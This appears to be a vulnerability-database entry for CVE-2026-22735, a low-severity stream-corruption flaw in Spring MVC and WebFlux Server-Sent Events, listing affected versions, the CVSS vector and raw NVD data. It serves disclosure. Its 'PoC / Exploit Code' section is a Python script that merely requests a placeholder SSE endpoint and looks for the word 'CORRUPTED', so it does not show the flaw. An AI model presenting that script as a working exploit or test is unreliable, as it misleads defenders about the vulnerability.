Security Vulnerability Report
中文
CVE-2026-22735 CVSS 2.6 LOW

CVE-2026-22735

Published: 2026-03-20 00:16:16
Last Modified: 2026-04-23 14:21:23

Description

Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

CVSS Details

CVSS Score
2.6
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
Spring Framework 7.0.0 - 7.0.5
Spring Framework 6.2.0 - 6.2.16
Spring Framework 6.1.0 - 6.1.25
Spring Framework 5.3.0 - 5.3.46

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-22735: Spring SSE Stream Corruption # Target: Spring MVC/WebFlux applications using SSE url = "http://vulnerable-target/sse-endpoint" headers = { "Accept": "text/event-stream", "Cache-Control": "no-cache" } # Sending a request that may trigger stream corruption # This depends on specific implementation details of the targeted application try: response = requests.get(url, headers=headers, stream=True, timeout=5) print(f"Status: {response.status_code}") # Read stream to check for corruption or unexpected termination for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') print(f"Received: {decoded_line}") if "CORRUPTED" in decoded_line or response.status_code != 200: print("Potential stream corruption detected.") break except requests.exceptions.RequestException as e: print(f"Connection error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22735", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:15.697", "lastModified": "2026-04-23T14:21:22.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring MVC and WebFlux applications are vulnerable to stream corruption when using Server-Sent Events (SSE). This issue affects Spring Foundation: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46."}, {"lang": "es", "value": "Las aplicaciones Spring MVC y WebFlux son vulnerables a la corrupción de flujo al usar Eventos Enviados por el Servidor (SSE). Este problema afecta a Spring Foundation: desde 7.0.0 hasta 7.0.5, desde 6.2.0 hasta 6.2.16, desde 6.1.0 hasta 6.1.25, desde 5.3.0 hasta 5.3.46."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.3.47", "matchCriteriaId": "E4FC0718-4A47-49D5-B623-285871B5135F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.1.26", "matchCriteriaId": "08D94F4A-EDD9-4CA2-836A-D61B17A4E894"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "6.2.17", "matchCriteriaId": "1168AB82-987E-473E-8485-DE606AF254EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.6", "matchCriteriaId": "1CA275C7-33A7-49A2-ADE8-0ABF81E00327"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22735", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}